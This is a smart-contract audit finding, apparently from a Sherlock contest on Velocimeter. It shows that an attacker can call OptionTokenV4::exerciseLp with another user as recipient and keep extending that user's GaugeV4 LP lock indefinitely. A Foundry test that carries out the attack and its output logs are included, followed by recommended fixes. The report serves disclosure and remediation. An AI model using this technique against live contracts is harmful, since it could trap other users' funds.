Warm Denim Mantis

High

# Malicious user can permanently extend a users LP lock in gauge by calling `OptionTokenV4::exerciseLp` and setting the user as `_recipient`

## Summary
An attacker calling `OptionTokenV4::exerciseLp` can pass the address of a user with an active lock in `GaugeV4` as `_recipient` and extend that users lock duration infinitely without any way for the affected user to prevent it.

## Vulnerability Detail
A user is able to lock their LP in the `GaugeV4` contract by calling `depositWithLock`. This function allows the user to specify their desired `_lockDuration`. However a malicious user can call `OptionTokenV4::exerciseLp` on a small amount of tokens and specify this user as `_recipient` and cause this users lock duration to increase significantly.

As action could be repeated by the attacker whenever the lock duration was reaching the end, it effectively results in the possibility that the users tokens are permanently locked in the contract.

**Proof Of Concept**
Consider the following steps:
- Alice has LP tokens for a particular pair
- Alice calls `GaugeV4::depositWithLock`, locking her LP tokens for a period of time
- Bob has oFlow tokens
- Bob calls `OptionTokenV4::exerciseLp` with Alice's address as the `_recipient` and specifying the maximum `_discount`, resulting in the longest possible lock duration
- Alice's lock duration is now significantly longer than beforehand.

Add the following test to `OptionTokenV4.t.sol` to highlight this:
```solidity
    function test_Toad_ExerciseLpToExtendOthersLock() public {
        // Get Alice tokens
        address alice = makeAddr("alice");
        DAI.mint(alice, 10 ether);
        FLOW.mint(alice, 10 ether);

        // Regular user (Alice) locks token in gauge
        vm.startPrank(alice);
        DAI.approve(address(router), 10 ether);
        FLOW.approve(address(router), 10 ether);
        router.addLiquidity(
            address(FLOW),
            address(DAI),
            false,
            10 ether,
            10 ether,
            0,
            0,
            alice,
            block.timestamp
        );
        flowDaiPair.approve(address(gauge), type(uint256).max);
        gauge.depositWithLock(alice, flowDaiPair.balanceOf(alice), 31 days);
        assertEq(flowDaiPair.balanceOf(alice), 0);
        uint256 aliceUnlockTime = gauge.lockEnd(alice);
        vm.stopPrank();


        // Get Bob OTokens
        address bob = makeAddr("bob");
        vm.startPrank(address(owner));
        washTrades();
        FLOW.approve(address(oFlowV4), 1 ether);
        oFlowV4.mint(bob, 1 ether);
        DAI.mint(bob, 10 ether);
        vm.stopPrank();

        // Attacker (Bob) calls exerciseLp with a non zero amount tokens with Alice as recipient
        vm.startPrank(bob);
        DAI.approve(address(oFlowV4), 10 ether);
        oFlowV4.exerciseLp(1e7, 1e7, alice, 20, block.timestamp);
        uint256 aliceNewUnlockTime = gauge.lockEnd(alice);

        // Assert alice's unlock time has been increased
        assert(aliceNewUnlockTime > aliceUnlockTime);
        console.log("Alice original unlock time:", aliceUnlockTime);
        console.log("Alice new unlock time     :", aliceNewUnlockTime);
    }
```
This results in the following logs:
```solidity
    [PASS] test_Toad_ExerciseLpToExtendOthersLock() (gas: 3620200)
    Logs:
    Alice original unlock time: 2678401
    Alice new unlock time     : 31467611
```


## Impact
This means the attacker can repeatedly extend a users lock meaning the users tokens locked in `GaugeV4` are never redeemable.

## Code Snippet
https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/OptionTokenV4.sol#L700
https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/GaugeV4.sol#L443

## Tool used
Manual Review + Foundry to create PoC

## Recommendation
To remove the possibility of this attack vector it may be necessary to ensure that the `_recipient` in `OptionTokenV4::exerciseLp` is always `msg.sender`. Alternatively it could require that the `_recipient` does not already have an active lock in the gauge to ensure that the user is not extending the lock duration of previously locked funds.